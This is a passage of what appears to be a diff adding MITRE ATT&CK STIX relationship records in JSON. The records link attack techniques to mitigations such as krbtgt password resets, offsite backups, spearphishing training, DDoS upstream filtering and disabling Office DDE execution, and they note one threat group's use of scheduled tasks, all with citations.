"https://www.stigviewer.com/stig/windows_server_2016/2019-12-12/finding/V-91779", + "description": "UCF. (n.d.). The password for the krbtgt account on a domain must be reset at least every 180 days. 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(n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.", + "source_name": "Ready.gov IT DRP" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b7330e62-2388-44e7-ab1c-5cac3df16d27", + "description": "Identify critical business and system processes that may be targeted by adversaries and work to isolate and secure those systems against unauthorized access and tampering.", + "target_ref": "attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931", + "modified": "2021-04-24T14:04:16.566Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-02T14:19:22.938Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--51244880-c155-4dba-844a-2021304c8954", + "description": "Consider encrypting important information to reduce an adversary\u2019s ability to perform tailored data modifications.", + "target_ref": "attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931", + "modified": "2021-04-24T14:04:16.595Z", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-02T14:19:22.942Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--110e76f2-815d-4eb0-986f-f6a9905ce640", + "description": "Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk.", + "target_ref": "attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292", + "modified": "2020-03-02T15:17:41.108Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-02T14:22:24.902Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--745a30c5-d0d6-4405-b0f4-74c8630cd707", + "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups.", + "target_ref": "attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292", + "modified": "2020-03-02T15:17:41.130Z", + "source_ref": "course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-02T14:22:24.905Z", + "external_references": [ + { + "url": "https://www.ready.gov/business/implementation/IT", + "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.", + "source_name": "Ready.gov IT DRP" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a665756c-06f8-44a2-b6e6-5143d1d59400", + "description": "Consider encrypting important information to reduce an adversary\u2019s ability to perform tailored data modifications.", + "target_ref": "attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292", + "modified": "2020-03-02T15:17:41.145Z", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-02T14:22:24.908Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9b72f375-4a14-4ae7-9b0b-1202ba3d6970", + "target_ref": "attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931", + 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"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-03-02T19:15:44.284Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d4f9d2ab-70d0-4aaf-9c7f-d94fc0818ecb", + "description": "Users can be trained to identify social engineering techniques and spearphishing emails with malicious links.", + "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "modified": "2021-04-14T14:38:43.045Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-02T19:18:20.208Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--239092bc-09e4-4c16-9d83-071929c9e4a4", + "description": "Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.", + "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "modified": "2021-04-14T14:38:43.047Z", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-02T19:18:20.216Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--afaa6cd5-ff04-479a-a3e6-c25a4154be4b", + "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "modified": "2020-03-02T19:21:35.323Z", + "source_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-03-02T19:21:35.323Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c7ab9f46-f60e-4156-b56f-415e39bc7dd9", + "target_ref": "attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", + "modified": "2020-03-02T19:24:01.041Z", + "source_ref": "attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-03-02T19:24:01.041Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--11643b79-aef3-4322-ab3c-06f6569a1583", + "description": "Users can be trained to identify social engineering techniques and spearphishing messages with malicious links.", + "target_ref": "attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", + "modified": "2020-10-18T01:55:03.166Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-02T19:28:55.578Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7f18d24e-fffe-413f-96ff-612b3e9bedd6", + "description": "Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.", + "target_ref": "attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", + "modified": "2020-10-18T01:55:03.207Z", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-02T19:28:55.581Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6c1c0c1e-91fb-4285-9656-8d452e630fb3", + "description": "Anti-virus can also automatically quarantine suspicious files.", + "target_ref": "attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", + "modified": "2020-10-18T01:55:03.240Z", + "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-02T19:28:55.583Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5bde01dc-6c27-4494-a3eb-7a7d98982477", + "target_ref": "attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", + "modified": "2020-03-02T19:30:53.662Z", + "source_ref": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-03-02T19:30:53.662Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--febaa044-5467-4393-bd13-2d096be02cf4", + "target_ref": "attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab", + "modified": "2020-03-02T20:07:18.718Z", + "source_ref": "attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-03-02T20:07:18.718Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5366199a-400d-49de-96fb-ea393d5f770a", + "target_ref": "attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab", + "modified": "2020-03-02T20:08:03.768Z", + "source_ref": "attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-03-02T20:08:03.768Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--92f524c5-86e8-43cf-90d5-907ac16acf5d", + "description": "When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.(Citation: CERT-EU DDoS March 2017)\n\nDepending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.(Citation: CERT-EU DDoS March 2017)\n\nAs immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.(Citation: CERT-EU DDoS March 2017)", + "target_ref": "attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3", + "modified": "2021-03-29T16:11:57.017Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-02T20:36:52.656Z", + "external_references": [ + { + "source_name": "CERT-EU DDoS March 2017", + "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.", + "url": "http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2f47b6cb-a378-492d-9565-e9ebbca68908", + "description": "When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.(Citation: CERT-EU DDoS March 2017)\n\nDepending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.(Citation: CERT-EU DDoS March 2017)\n\nAs immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.(Citation: CERT-EU DDoS March 2017)", + "target_ref": "attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01", + "modified": "2021-03-29T16:13:53.943Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-02T21:04:24.530Z", + "external_references": [ + { + "source_name": "CERT-EU DDoS March 2017", + "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.", + "url": "http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ba7f4c8e-860a-45fc-a9e7-bb7d0ec96a2c", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used [schtasks](https://attack.mitre.org/software/S0111) to register a scheduled task to execute malware during lateral movement.(Citation: Secureworks BRONZE BUTLER Oct 2017)", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "modified": "2020-03-28T21:24:57.218Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-06T20:00:23.935Z", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9ba97a0a-1ae5-4969-9ce4-6fb86d70fae0", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "modified": "2020-03-06T20:57:38.085Z", + "source_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-03-06T20:57:38.085Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5d6f0f0e-7479-480a-aaef-92a3e8d8b7c8", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "modified": "2020-03-06T21:04:12.593Z", + "source_ref": "attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-03-06T21:04:12.593Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bb1fb0c8-49f9-463c-b039-68636d507b80", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "modified": "2020-03-06T21:11:11.339Z", + "source_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-03-06T21:11:11.339Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--888cad71-2275-4ca6-a154-f297f972487c", + "description": "Web proxies can be used to enforce an external network communication policy that prevents use of unauthorized external services.", + "target_ref": "attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807", + "modified": "2021-10-15T22:50:29.828Z", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-09T12:51:45.634Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f823cffe-1f48-499e-a7b9-58f12e0b95b4", + "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", + "modified": "2020-03-09T13:00:19.485Z", + "source_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-03-09T13:00:19.485Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c111033c-3544-43b8-9168-32590659557d", + "description": "Modify Registry settings (directly or using Dcomcnfg.exe) in `HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Classes\\\\AppID\\\\{AppID_GUID}` associated with the process-wide security of individual COM applications.(Citation: Microsoft Process Wide Com Keys)\n\nModify Registry settings (directly or using Dcomcnfg.exe) in `HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Ole` associated with system-wide security defaults for all COM applications that do no set their own process-wide security.(Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM ACL)", + "target_ref": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d", + "modified": "2021-07-26T22:56:39.713Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-09T13:13:23.987Z", + "external_references": [ + { + "source_name": "Microsoft Process Wide Com Keys", + "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.", + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx" + }, + { + "source_name": "Microsoft System Wide Com Keys", + "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.", + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx" + }, + { + "source_name": "Microsoft COM ACL", + "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.", + "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--39a3fc74-012e-47fc-b806-d9267a0f54ba", + "description": "Consider disabling embedded files in Office programs, such as OneNote, that do not work with Protected View.(Citation: Enigma Reviving DDE Jan 2018)(Citation: GitHub Disable DDEAUTO Oct 2017)", + "target_ref": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d", + "modified": "2021-07-26T22:56:39.756Z", + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-09T13:13:23.999Z", + "external_references": [ + { + "source_name": "Enigma Reviving DDE Jan 2018", + "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.", + "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee" + }, + { + "source_name": "GitHub Disable DDEAUTO Oct 2017", + "description": "Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.", + "url": "https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--16f46969-91e3-4bcd-8d58-97e88e6b1d3e", + "description": "Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. 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Retrieved November 21, 2017.", + "url": "https://technet.microsoft.com/library/security/4053440" + }, + { + "source_name": "BleepingComputer DDE Disabled in Word Dec 2017", + "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.", + "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/" + }, + { + "source_name": "GitHub Disable DDEAUTO Oct 2017", + "description": "Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.", + "url": "https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b" + }, + { + "source_name": "Microsoft ADV170021 Dec 2017", + "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.", + "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--73c6ad27-074a-437d-82ec-39592b783160", + "description": "Ensure all COM alerts and Protected View are enabled.(Citation: Microsoft Protected View)", + "target_ref": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d", + "modified": "2021-07-26T22:56:39.798Z", + "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-09T13:13:24.024Z", + "external_references": [ + { + "source_name": "Microsoft Protected View", + "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.", + "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ca928ba4-bb4b-4cd9-a105-8c0d4d81891f", + "description": "On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs.(Citation: Microsoft ASR Nov 2017)(Citation: Enigma Reviving DDE Jan 2018)", + "target_ref": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d", + "modified": "2021-07-26T22:56:39.801Z", + "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-09T13:13:24.028Z", + "external_references": [ + { + "source_name": "Microsoft ASR Nov 2017", + "description": "Brower, N. & D'Souza-Wiltshire, I. (2017, November 9). Enable Attack surface reduction. Retrieved February 3, 2018.", + "url": "https://docs.microsoft.com/windows/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction" + }, + { + "source_name": "Enigma Reviving DDE Jan 2018", + "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. 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Retrieved November 22, 2017.", + "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--df52b929-6b31-48da-a21f-70b799e730d3", + "description": "Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017)(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created, and enabled by default, Registry keys to completely disable DDE execution in Word and Excel.(Citation: Microsoft ADV170021 Dec 2017)", + "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", + "modified": "2021-07-26T22:52:04.374Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-09T13:17:39.429Z", + "external_references": [ + { + "source_name": "Microsoft DDE Advisory Nov 2017", + "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.", + "url": "https://technet.microsoft.com/library/security/4053440" + }, + { + "source_name": "BleepingComputer DDE Disabled in Word Dec 2017", + "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.", + "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/" + }, + { + "source_name": "GitHub Disable DDEAUTO Oct 2017", + "description": "Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.", + "url": "https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b" + }, + { + "source_name": "Microsoft ADV170021 Dec 2017", + "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.", + "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--38482de7-5eb7-4baf-9007-2e1a6efe9622", + "description": "On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs.(Citation: Microsoft ASR Nov 2017)(Citation: Enigma Reviving DDE Jan 2018)", + "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", + "modified": "2021-07-26T22:52:04.398Z", + "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-09T13:17:39.424Z", + "external_references": [ + { + "source_name": "Microsoft ASR Nov 2017", + "description": "Brower, N. & D'Souza-Wiltshire, I. (2017, November 9). Enable Attack surface reduction. Retrieved February 3, 2018.", + "url": "https://docs.microsoft.com/windows/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction" + }, + { + "source_name": "Enigma Reviving DDE Jan 2018", + "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. 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Retrieved November 22, 2017.", + "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--67a63d3a-30a5-43b6-a593-dc08581b460a", + "description": "Modify Registry settings (directly or using Dcomcnfg.exe) in `HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Classes\\\\AppID\\\\{AppID_GUID}` associated with the process-wide security of individual COM applications.(Citation: Microsoft Process Wide Com Keys)\n\nModify Registry settings (directly or using Dcomcnfg.exe) in `HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Ole` associated with system-wide security defaults for all COM applications that do no set their own process-wide security.(Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM ACL)", + "target_ref": "attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", + "modified": "2021-07-26T22:51:20.612Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-09T13:26:46.181Z", + "external_references": [ + { + "source_name": "Microsoft Process Wide Com Keys", + "description": "Microsoft. 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Retrieved November 22, 2017.", + "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2cf7243f-d5d7-473b-9cb7-27c7186565d3", + "description": "Where possible, only permit execution of signed scripts.", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "modified": "2021-08-16T20:57:36.760Z", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "created_by_ref": 